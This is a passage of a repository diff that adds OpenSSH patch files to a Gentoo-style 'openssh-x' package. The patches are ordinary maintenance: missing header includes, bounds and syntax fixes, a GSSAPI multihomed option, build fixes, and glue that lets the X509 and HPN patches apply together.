+-	sCAldapVersion, sCAldapURL,
+-	sVAType, sVACertificateFile,
+-	sVAOCSPResponderURL,
+ 	sDeprecated, sUnsupported
+ } ServerOpCodes;
+ 
diff --git a/net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff b/net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff
new file mode 100644
index 00000000..346d5271
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.2p1-ldap-stdargs.diff
@@ -0,0 +1,10 @@
+--- ldapauth.c.orig	2009-04-18 18:06:38.000000000 +0200
++++ ldapauth.c	2009-04-18 18:06:11.000000000 +0200
+@@ -31,6 +31,7 @@
+ #include <stdlib.h>
+ #include <unistd.h>
+ #include <string.h>
++#include <stdarg.h>
+ 
+ #include "ldapauth.h"
+ #include "log.h"
diff --git a/net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch b/net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch
new file mode 100644
index 00000000..e4cdb63a
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.4_p1-openssl.patch
@@ -0,0 +1,12 @@
+pull in openssl/conf.h for OPENSSL_config() prototype
+
+--- openbsd-compat/openssl-compat.c
++++ openbsd-compat/openssl-compat.c
+@@ -59,6 +59,7 @@
+ #endif
+ 
+ #ifdef	USE_OPENSSL_ENGINE
++#include <openssl/conf.h>
+ void
+ ssh_SSLeay_add_all_algorithms(void)
+ {
diff --git a/net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch b/net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch
new file mode 100644
index 00000000..5fe18dfc
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.6_p1-hpn-progressmeter.patch
@@ -0,0 +1,15 @@
+don't go reading random stack values
+
+already e-mailed to upstream hpn devs
+
+--- progressmeter.c
++++ progressmeter.c
+@@ -183,7 +183,7 @@
+ 	else
+ 		percent = 100;
+ 
+-	snprintf(buf + strlen(buf), win_size - strlen(buf-8),
++	snprintf(buf + strlen(buf), win_size - strlen(buf) - 8,
+ 	    " %3d%% ", percent);
+ 
+ 	/* amount transferred */
diff --git a/net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch
new file mode 100644
index 00000000..e793311f
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.6_p1-x509-hpn-glue.patch
@@ -0,0 +1,60 @@
+Move things around so hpn applies cleanly when using X509.
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -46,11 +46,12 @@
+ CC=@CC@
+ LD=@LD@
+ CFLAGS=@CFLAGS@
+-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@
++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@
+ LIBS=@LIBS@
+ SSHDLIBS=@SSHDLIBS@
+ LIBEDIT=@LIBEDIT@
+ LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@
++CPPFLAGS+=@LDAP_CPPFLAGS@
+ AR=@AR@
+ AWK=@AWK@
+ RANLIB=@RANLIB@
+--- a/servconf.c
++++ b/servconf.c
+@@ -153,9 +153,6 @@ initialize_server_options(ServerOptions *options)
+ 	options->adm_forced_command = NULL;
+ 	options->chroot_directory = NULL;
+ 	options->zero_knowledge_password_authentication = -1;
+-	options->revoked_keys_file = NULL;
+-	options->trusted_user_ca_keys = NULL;
+-	options->authorized_principals_file = NULL;
+ 
+ 	options->hostbased_algorithms = NULL;
+ 	options->pubkey_algorithms = NULL;
+@@ -168,6 +165,9 @@ initialize_server_options(ServerOptions *options)
+ 	options->va.certificate_file = NULL;
+ 	options->va.responder_url = NULL;
+ #endif /*def SSH_OCSP_ENABLED*/
++	options->revoked_keys_file = NULL;
++	options->trusted_user_ca_keys = NULL;
++	options->authorized_principals_file = NULL;
+ }
+ 
+ void
+@@ -367,9 +367,6 @@ typedef enum {
+ 	sClientAliveCountMax, sAuthorizedKeysFile, sAuthorizedKeysFile2,
+ 	sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel,
+ 	sMatch, sPermitOpen, sForceCommand, sChrootDirectory,
+-	sUsePrivilegeSeparation, sAllowAgentForwarding,
+-	sZeroKnowledgePasswordAuthentication, sHostCertificate,
+-	sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile,
+ 	sHostbasedAlgorithms,
+ 	sPubkeyAlgorithms,
+ 	sX509KeyAlgorithm,
+@@ -380,6 +377,9 @@ typedef enum {
+ 	sCAldapVersion, sCAldapURL,
+ 	sVAType, sVACertificateFile,
+ 	sVAOCSPResponderURL,
++	sUsePrivilegeSeparation, sAllowAgentForwarding,
++	sZeroKnowledgePasswordAuthentication, sHostCertificate,
++	sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile,
+ 	sDeprecated, sUnsupported
+ } ServerOpCodes;
+ 
diff --git a/net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch
new file mode 100644
index 00000000..ee3e7574
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.7_p1-x509-hpn-glue.patch
@@ -0,0 +1,60 @@
+Move things around so hpn applies cleanly when using X509.
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -46,11 +46,12 @@
+ CC=@CC@
+ LD=@LD@
+ CFLAGS=@CFLAGS@
+-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@
++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@
+ LIBS=@LIBS@
+ SSHDLIBS=@SSHDLIBS@
+ LIBEDIT=@LIBEDIT@
+ LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@
++CPPFLAGS+=@LDAP_CPPFLAGS@
+ AR=@AR@
+ AWK=@AWK@
+ RANLIB=@RANLIB@
+--- a/servconf.c
++++ b/servconf.c
+@@ -153,9 +153,6 @@ initialize_server_options(ServerOptions *options)
+ 	options->zero_knowledge_password_authentication = -1;
+ 	options->revoked_keys_file = NULL;
+ 	options->trusted_user_ca_keys = NULL;
+-	options->authorized_principals_file = NULL;
+-	options->ip_qos_interactive = -1;
+-	options->ip_qos_bulk = -1;
+ 
+ 	options->hostbased_algorithms = NULL;
+ 	options->pubkey_algorithms = NULL;
+@@ -168,6 +165,9 @@ initialize_server_options(ServerOptions *options)
+ 	options->va.certificate_file = NULL;
+ 	options->va.responder_url = NULL;
+ #endif /*def SSH_OCSP_ENABLED*/
++	options->authorized_principals_file = NULL;
++	options->ip_qos_interactive = -1;
++	options->ip_qos_bulk = -1;
+ }
+ 
+ void
+@@ -367,9 +367,6 @@ typedef enum {
+ 	sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel,
+ 	sMatch, sPermitOpen, sForceCommand, sChrootDirectory,
+ 	sUsePrivilegeSeparation, sAllowAgentForwarding,
+-	sZeroKnowledgePasswordAuthentication, sHostCertificate,
+-	sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile,
+-	sKexAlgorithms, sIPQoS,
+ 	sHostbasedAlgorithms,
+ 	sPubkeyAlgorithms,
+ 	sX509KeyAlgorithm,
+@@ -380,6 +377,9 @@ typedef enum {
+ 	sCAldapVersion, sCAldapURL,
+ 	sVAType, sVACertificateFile,
+ 	sVAOCSPResponderURL,
++	sZeroKnowledgePasswordAuthentication, sHostCertificate,
++	sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile,
++	sKexAlgorithms, sIPQoS,
+ 	sDeprecated, sUnsupported
+ } ServerOpCodes;
+ 
diff --git a/net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch b/net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch
new file mode 100644
index 00000000..7be2879f
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch
@@ -0,0 +1,18 @@
+http://bugs.gentoo.org/354247
+
+[openbsd-compat/port-linux.c] Bug #1851: fix syntax error in
+	selinux code.  Patch from Leonardo Chiquitto.
+
+/* $Id: openssh-5.8_p1-selinux.patch,v 1.1 2011/02/10 02:44:53 vapier Exp $ */
+
+--- a/openbsd-compat/port-linux.c
++++ b/openbsd-compat/port-linux.c
+@@ -213,7 +213,7 @@
+ 
+ 	if (!ssh_selinux_enabled())
+ 		return;
+-	if (path == NULL)
++	if (path == NULL) {
+ 		setfscreatecon(NULL);
+ 		return;
+ 	}
diff --git a/net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch
new file mode 100644
index 00000000..74d06c79
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch
@@ -0,0 +1,61 @@
+Move things around so hpn applies cleanly when using X509.
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -46,12 +46,13 @@
+ CC=@CC@
+ LD=@LD@
+ CFLAGS=@CFLAGS@
+-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@
++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@
+ LIBS=@LIBS@
+ SSHLIBS=@SSHLIBS@
+ SSHDLIBS=@SSHDLIBS@
+ LIBEDIT=@LIBEDIT@
+ LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@
++CPPFLAGS+=@LDAP_CPPFLAGS@
+ AR=@AR@
+ AWK=@AWK@
+ RANLIB=@RANLIB@
+--- a/servconf.c
++++ b/servconf.c
+@@ -153,9 +153,6 @@ initialize_server_options(ServerOptions *options)
+ 	options->zero_knowledge_password_authentication = -1;
+ 	options->revoked_keys_file = NULL;
+ 	options->trusted_user_ca_keys = NULL;
+-	options->authorized_principals_file = NULL;
+-	options->ip_qos_interactive = -1;
+-	options->ip_qos_bulk = -1;
+ 
+ 	options->hostbased_algorithms = NULL;
+ 	options->pubkey_algorithms = NULL;
+@@ -168,6 +165,9 @@ initialize_server_options(ServerOptions *options)
+ 	options->va.certificate_file = NULL;
+ 	options->va.responder_url = NULL;
+ #endif /*def SSH_OCSP_ENABLED*/
++	options->authorized_principals_file = NULL;
++	options->ip_qos_interactive = -1;
++	options->ip_qos_bulk = -1;
+ }
+ 
+ void
+@@ -367,9 +367,6 @@ typedef enum {
+ 	sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel,
+ 	sMatch, sPermitOpen, sForceCommand, sChrootDirectory,
+ 	sUsePrivilegeSeparation, sAllowAgentForwarding,
+-	sZeroKnowledgePasswordAuthentication, sHostCertificate,
+-	sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile,
+-	sKexAlgorithms, sIPQoS,
+ 	sHostbasedAlgorithms,
+ 	sPubkeyAlgorithms,
+ 	sX509KeyAlgorithm,
+@@ -380,6 +377,9 @@ typedef enum {
+ 	sCAldapVersion, sCAldapURL,
+ 	sVAType, sVACertificateFile,
+ 	sVAOCSPResponderURL,
++	sZeroKnowledgePasswordAuthentication, sHostCertificate,
++	sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile,
++	sKexAlgorithms, sIPQoS,
+ 	sDeprecated, sUnsupported
+ } ServerOpCodes;
+ 
diff --git a/net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch b/net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch
new file mode 100644
index 00000000..eb621abb
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch
@@ -0,0 +1,25 @@
+newer versions of openssl have started to be compatible across minor versions
+too, so this sanity check fails.  since we already handle compatibility with
+openssl via SONAME checks, we don't need this openssh check at all.
+
+http://marc.info/?l=openssl-dev&m=133176786215023&w=2
+
+--- a/entropy.c
++++ b/entropy.c
+@@ -208,16 +208,7 @@ seed_rng(void)
+ {
+ #ifndef OPENSSL_PRNG_ONLY
+ 	unsigned char buf[RANDOM_SEED_SIZE];
+-#endif
+-	/*
+-	 * OpenSSL version numbers: MNNFFPPS: major minor fix patch status
+-	 * We match major, minor, fix and status (not patch)
+-	 */
+-	if ((SSLeay() ^ OPENSSL_VERSION_NUMBER) & ~0xff0L)
+-		fatal("OpenSSL version mismatch. Built against %lx, you "
+-		    "have %lx", (u_long)OPENSSL_VERSION_NUMBER, SSLeay());
+ 
+-#ifndef OPENSSL_PRNG_ONLY
+ 	if (RAND_status() == 1) {
+ 		debug3("RNG is ready, skipping seeding");
+ 		return;
diff --git a/net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch b/net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch
new file mode 100644
index 00000000..6377d036
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch
@@ -0,0 +1,184 @@
+Index: gss-serv.c
+===================================================================
+RCS file: /cvs/src/usr.bin/ssh/gss-serv.c,v
+retrieving revision 1.22
+diff -u -p -r1.22 gss-serv.c
+--- gss-serv.c	8 May 2008 12:02:23 -0000	1.22
++++ gss-serv.c	11 Jan 2010 05:38:29 -0000
+@@ -41,9 +41,12 @@
+ #include "channels.h"
+ #include "session.h"
+ #include "misc.h"
++#include "servconf.h"
+ 
+ #include "ssh-gss.h"
+ 
++extern ServerOptions options;
++
+ static ssh_gssapi_client gssapi_client =
+     { GSS_C_EMPTY_BUFFER, GSS_C_EMPTY_BUFFER,
+     GSS_C_NO_CREDENTIAL, NULL, {NULL, NULL, NULL}};
+@@ -77,25 +80,32 @@ ssh_gssapi_acquire_cred(Gssctxt *ctx)
+ 	char lname[MAXHOSTNAMELEN];
+ 	gss_OID_set oidset;
+ 
+-	gss_create_empty_oid_set(&status, &oidset);
+-	gss_add_oid_set_member(&status, ctx->oid, &oidset);
+-
+-	if (gethostname(lname, MAXHOSTNAMELEN)) {
+-		gss_release_oid_set(&status, &oidset);
+-		return (-1);
+-	}
++	if (options.gss_strict_acceptor) {
++		gss_create_empty_oid_set(&status, &oidset);
++		gss_add_oid_set_member(&status, ctx->oid, &oidset);
++
++		if (gethostname(lname, MAXHOSTNAMELEN)) {
++			gss_release_oid_set(&status, &oidset);
++			return (-1);
++		}
++
++		if (GSS_ERROR(ssh_gssapi_import_name(ctx, lname))) {
++			gss_release_oid_set(&status, &oidset);
++			return (ctx->major);
++		}
++
++		if ((ctx->major = gss_acquire_cred(&ctx->minor,
++		    ctx->name, 0, oidset, GSS_C_ACCEPT, &ctx->creds,
++		    NULL, NULL)))
++			ssh_gssapi_error(ctx);
+ 
+-	if (GSS_ERROR(ssh_gssapi_import_name(ctx, lname))) {
+ 		gss_release_oid_set(&status, &oidset);
+ 		return (ctx->major);
++	} else {
++		ctx->name = GSS_C_NO_NAME;
++		ctx->creds = GSS_C_NO_CREDENTIAL;
+ 	}
+-
+-	if ((ctx->major = gss_acquire_cred(&ctx->minor,
+-	    ctx->name, 0, oidset, GSS_C_ACCEPT, &ctx->creds, NULL, NULL)))
+-		ssh_gssapi_error(ctx);
+-
+-	gss_release_oid_set(&status, &oidset);
+-	return (ctx->major);
++	return GSS_S_COMPLETE;
+ }
+ 
+ /* Privileged */
+Index: servconf.c
+===================================================================
+RCS file: /cvs/src/usr.bin/ssh/servconf.c,v
+retrieving revision 1.201
+diff -u -p -r1.201 servconf.c
+--- servconf.c	10 Jan 2010 03:51:17 -0000	1.201
++++ servconf.c	11 Jan 2010 05:34:56 -0000
+@@ -86,6 +86,7 @@ initialize_server_options(ServerOptions 
+ 	options->kerberos_get_afs_token = -1;
+ 	options->gss_authentication=-1;
+ 	options->gss_cleanup_creds = -1;
++	options->gss_strict_acceptor = -1;
+ 	options->password_authentication = -1;
+ 	options->kbd_interactive_authentication = -1;
+ 	options->challenge_response_authentication = -1;
+@@ -200,6 +201,8 @@ fill_default_server_options(ServerOption
+ 		options->gss_authentication = 0;
+ 	if (options->gss_cleanup_creds == -1)
+ 		options->gss_cleanup_creds = 1;
++	if (options->gss_strict_acceptor == -1)
++		options->gss_strict_acceptor = 0;
+ 	if (options->password_authentication == -1)
+ 		options->password_authentication = 1;
+ 	if (options->kbd_interactive_authentication == -1)
+@@ -277,7 +280,8 @@ typedef enum {
+ 	sBanner, sUseDNS, sHostbasedAuthentication,
+ 	sHostbasedUsesNameFromPacketOnly, sClientAliveInterval,
+ 	sClientAliveCountMax, sAuthorizedKeysFile,
+-	sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel,
++	sGssAuthentication, sGssCleanupCreds, sGssStrictAcceptor,
++	sAcceptEnv, sPermitTunnel,
+ 	sMatch, sPermitOpen, sForceCommand, sChrootDirectory,
+ 	sUsePrivilegeSeparation, sAllowAgentForwarding,
+ 	sZeroKnowledgePasswordAuthentication, sHostCertificate,
+@@ -327,9 +331,11 @@ static struct {
+ #ifdef GSSAPI
+ 	{ "gssapiauthentication", sGssAuthentication, SSHCFG_ALL },
+ 	{ "gssapicleanupcredentials", sGssCleanupCreds, SSHCFG_GLOBAL },
++	{ "gssapistrictacceptorcheck", sGssStrictAcceptor, SSHCFG_GLOBAL },
+ #else
+ 	{ "gssapiauthentication", sUnsupported, SSHCFG_ALL },
+ 	{ "gssapicleanupcredentials", sUnsupported, SSHCFG_GLOBAL },
++	{ "gssapistrictacceptorcheck", sUnsupported, SSHCFG_GLOBAL },
+ #endif
+ 	{ "passwordauthentication", sPasswordAuthentication, SSHCFG_ALL },
+ 	{ "kbdinteractiveauthentication", sKbdInteractiveAuthentication, SSHCFG_ALL },
+@@ -850,6 +856,10 @@ process_server_config_line(ServerOptions
+ 
+ 	case sGssCleanupCreds:
+ 		intptr = &options->gss_cleanup_creds;
++		goto parse_flag;
++
++	case sGssStrictAcceptor:
++		intptr = &options->gss_strict_acceptor;
+ 		goto parse_flag;
+ 
+ 	case sPasswordAuthentication:
+Index: servconf.h
+===================================================================
+RCS file: /cvs/src/usr.bin/ssh/servconf.h,v
+retrieving revision 1.89
+diff -u -p -r1.89 servconf.h
+--- servconf.h	9 Jan 2010 23:04:13 -0000	1.89
++++ servconf.h	11 Jan 2010 05:32:28 -0000
+@@ -92,6 +92,7 @@ typedef struct {
+ 						 * authenticated with Kerberos. */
+ 	int     gss_authentication;	/* If true, permit GSSAPI authentication */
+ 	int     gss_cleanup_creds;	/* If true, destroy cred cache on logout */
++	int 	gss_strict_acceptor;	/* If true, restrict the GSSAPI acceptor name */
+ 	int     password_authentication;	/* If true, permit password
+ 						 * authentication. */
+ 	int     kbd_interactive_authentication;	/* If true, permit */
+Index: sshd_config
+===================================================================
+RCS file: /cvs/src/usr.bin/ssh/sshd_config,v
+retrieving revision 1.81
+diff -u -p -r1.81 sshd_config
+--- sshd_config	8 Oct 2009 14:03:41 -0000	1.81
++++ sshd_config	11 Jan 2010 05:32:28 -0000
+@@ -69,6 +69,7 @@
+ # GSSAPI options
+ #GSSAPIAuthentication no
+ #GSSAPICleanupCredentials yes
++#GSSAPIStrictAcceptorCheck yes
+ 
+ # Set this to 'yes' to enable PAM authentication, account processing, 
+ # and session processing. If this is enabled, PAM authentication will 
+Index: sshd_config.5
+===================================================================
+RCS file: /cvs/src/usr.bin/ssh/sshd_config.5,v
+retrieving revision 1.116
+diff -u -p -r1.116 sshd_config.5
+--- sshd_config.5	9 Jan 2010 23:04:13 -0000	1.116
++++ sshd_config.5	11 Jan 2010 05:37:20 -0000
+@@ -386,6 +386,21 @@ on logout.
+ The default is
+ .Dq yes .
+ Note that this option applies to protocol version 2 only.
++.It Cm GSSAPIStrictAcceptorCheck
++Determines whether to be strict about the identity of the GSSAPI acceptor
++a client authenticates against.
++If set to
++.Dq yes
++then the client must authenticate against the
++.Pa host
++service on the current hostname.
++If set to
++.Dq no
++then the client may authenticate against any service key stored in the
++machine's default store.
++This facility is provided to assist with operation on multi homed machines.
++The default is
++.Dq yes .
+ .It Cm HostbasedAuthentication
+ Specifies whether rhosts or /etc/hosts.equiv authentication together
+ with successful public key client host authentication is allowed
diff --git a/net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch b/net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch
new file mode 100644
index 00000000..6fbb88b6
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch
@@ -0,0 +1,15 @@
+make x509 apply after openssh-5.9_p1-sshd-gssapi-multihomed.patch
+
+--- openssh-5.9p1+x509-7.0.diff
++++ openssh-5.9p1+x509-7.0.diff
+@@ -11995,9 +11995,9 @@
+  Specifies whether challenge-response authentication is allowed (e.g. via
+  PAM or though authentication styles supported in
+ @@ -430,6 +507,16 @@
++ This facility is provided to assist with operation on multi homed machines.
+  The default is
+  .Dq yes .
+- Note that this option applies to protocol version 2 only.
+ +.It Cm HostbasedAlgorithms
+ +Specifies the protocol version 2 algorithms used in
+ +.Dq hostbased
diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch b/net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch
new file mode 100644
index 00000000..3b34cd2e
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch
@@ -0,0 +1,15 @@
+diff --git a/configure.ac b/configure.ac
+index 2b60300..21b6112 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -725,6 +725,10 @@ mips-sony-bsd|mips-sony-newsos4)
+ 	AC_CHECK_HEADER([net/if_tap.h], ,
+ 	    AC_DEFINE([SSH_TUN_NO_L2], [1], [No layer 2 tunnel support]))
+ 	AC_DEFINE([BROKEN_GLOB], [1], [FreeBSD glob does not do what we need])
++	AC_DEFINE([DISABLE_UTMP], [1],
++		[Define if you don't want to use utmp])
++	AC_DEFINE([DISABLE_WTMP], [1],
++		[Define if you don't want to use wtmp])
+ 	;;
+ *-*-bsdi*)
+ 	AC_DEFINE([SETEUID_BREAKS_SETUID])
diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch b/net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch
new file mode 100644
index 00000000..56805d12
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch
@@ -0,0 +1,15 @@
+don't go reading random stack values
+
+already e-mailed to upstream hpn devs
+
+--- progressmeter.c
++++ progressmeter.c
+@@ -183,7 +183,7 @@
+ 		percent = ((float)cur_pos / end_pos) * 100;
+ 	else
+ 		percent = 100;
+-	snprintf(buf + strlen(buf), win_size - strlen(buf-8),
++	snprintf(buf + strlen(buf), win_size - strlen(buf) - 8,
+ 	    " %3d%% ", percent);
+ 
+ 	/* amount transferred */
diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-test.patch b/net-misc/openssh-x/files/openssh-6.0_p1-test.patch
new file mode 100644
index 00000000..8b988aed
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-6.0_p1-test.patch
@@ -0,0 +1,19 @@
+changeset:   10701:b159befd3104
+tag:         tip
+user:        Mike Frysinger <vapier@gentoo.org>
+date:        Sun Apr 29 00:26:33 2012 -0400
+summary:     use = with `test`, not ==
+
+diff -r d8a3ea854288 -r b159befd3104 configure.ac
+--- a/configure.ac	Fri Apr 27 00:55:42 2012 +0000
++++ b/configure.ac	Sun Apr 29 00:26:33 2012 -0400
+@@ -2591,7 +2591,7 @@
+ 	AC_DEFINE([SANDBOX_DARWIN], [1], [Sandbox using Darwin sandbox_init(3)])
+ elif test "x$sandbox_arg" = "xseccomp_filter" || \
+      ( test -z "$sandbox_arg" && \
+-       test "x$have_seccomp_filter" == "x1" && \
++       test "x$have_seccomp_filter" = "x1" && \
+        test "x$ac_cv_header_linux_audit_h" = "xyes" && \
+        test "x$have_seccomp_audit_arch" = "x1" && \
+        test "x$have_linux_no_new_privs" = "x1" && \
+
diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch b/net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch
new file mode 100644
index 00000000..3633a2af
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch
@@ -0,0 +1,15 @@
+make x509 apply after openssh-5.9_p1-sshd-gssapi-multihomed.patch
+
+--- openssh-6.0p1+x509-7.1.diff
++++ openssh-6.0p1+x509-7.1.diff
+@@ -13502,9 +13502,9 @@
+  Specifies whether challenge-response authentication is allowed (e.g. via
+  PAM or though authentication styles supported in
+ @@ -430,6 +507,16 @@
++ This facility is provided to assist with operation on multi homed machines.
+  The default is
+  .Dq yes .
+- Note that this option applies to protocol version 2 only.
+ +.It Cm HostbasedAlgorithms
+ +Specifies the protocol version 2 algorithms used in
+ +.Dq hostbased
diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch
new file mode 100644
index 00000000..9e3dfdbe
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch
@@ -0,0 +1,57 @@
+diff --git a/Makefile.in b/Makefile.in
+index ecb45cd..7834fb1 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -45,12 +45,13 @@ FIPSLD_CC=@FIPSLD_CC@
+ CC=@CC@
+ LD=@LD@
+ CFLAGS=@CFLAGS@
+-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@
++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@
+ LIBS=@LIBS@
+ SSHLIBS=@SSHLIBS@
+ SSHDLIBS=@SSHDLIBS@
+ LIBEDIT=@LIBEDIT@
+ LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@
++CPPFLAGS+=@LDAP_CPPFLAGS@
+ AR=@AR@
+ AWK=@AWK@
+ RANLIB=@RANLIB@
+diff --git a/sshconnect.c b/sshconnect.c
+index 19a2b06..dd75f78 100644
+--- a/sshconnect.c
++++ b/sshconnect.c
+@@ -580,7 +580,7 @@ ssh_exchange_identification(int timeout_ms)
+ 	snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
+ 	    compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
+ 	    compat20 ? PROTOCOL_MINOR_2 : minor1,
+-	    SSH_VERSION, compat20 ? " PKIX\r\n" : "\n");
++	    SSH_VERSION, compat20 ? "\r\n" : "\n");
+ 	if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
+ 	    != strlen(buf))
+ 		fatal("write: %.100s", strerror(errno));
+diff --git a/sshd.c b/sshd.c
+index a5c437d..a1105a0 100644
+--- a/sshd.c
++++ b/sshd.c
+@@ -428,8 +428,8 @@ sshd_exchange_identification(int sock_in, int sock_out)
+ 		minor = PROTOCOL_MINOR_1;
+ 		comment = "";
+ 	}
+-	snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s%s", major, minor,
+-	    SSH_VERSION, comment, newline);
++	snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s", major, minor,
++	    SSH_VERSION, newline);
+ 	server_version_string = xstrdup(buf);
+ 
+ 	/* Send our protocol version identification. */
+diff --git a/version.h b/version.h
+index 78983d9..ec1746d 100644
+--- a/version.h
++++ b/version.h
+@@ -3,4 +3,5 @@
+ #define SSH_VERSION	"OpenSSH_6.0"
+ 
+ #define SSH_PORTABLE	"p1"
++#define SSH_X509	" PKIX"
+ #define SSH_RELEASE	SSH_VERSION SSH_PORTABLE
diff --git a/net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch b/net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch
new file mode 100644
index 00000000..e6db835d
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch
@@ -0,0 +1,15 @@
+make x509 apply after openssh-5.9_p1-sshd-gssapi-multihomed.patch
+
+--- openssh-6.1p1+x509-7.2.1.diff
++++ openssh-6.1p1+x509-7.2.1.diff
+@@ -13502,9 +13502,9 @@
+  Specifies whether challenge-response authentication is allowed (e.g. via
+  PAM or though authentication styles supported in
+ @@ -432,6 +509,16 @@
++ This facility is provided to assist with operation on multi homed machines.
+  The default is
+  .Dq yes .
+- Note that this option applies to protocol version 2 only.
+ +.It Cm HostbasedAlgorithms
+ +Specifies the protocol version 2 algorithms used in
+ +.Dq hostbased
diff --git a/net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch
new file mode 100644
index 00000000..5d69a50b
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch
@@ -0,0 +1,49 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -45,12 +45,13 @@ FIPSLD_CC=@FIPSLD_CC@
+ CC=@CC@
+ LD=@LD@
+ CFLAGS=@CFLAGS@
+-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@
++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@
+ LIBS=@LIBS@
+ SSHLIBS=@SSHLIBS@
+ SSHDLIBS=@SSHDLIBS@
+ LIBEDIT=@LIBEDIT@
+ LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@
++CPPFLAGS+=@LDAP_CPPFLAGS@
+ AR=@AR@
+ AWK=@AWK@
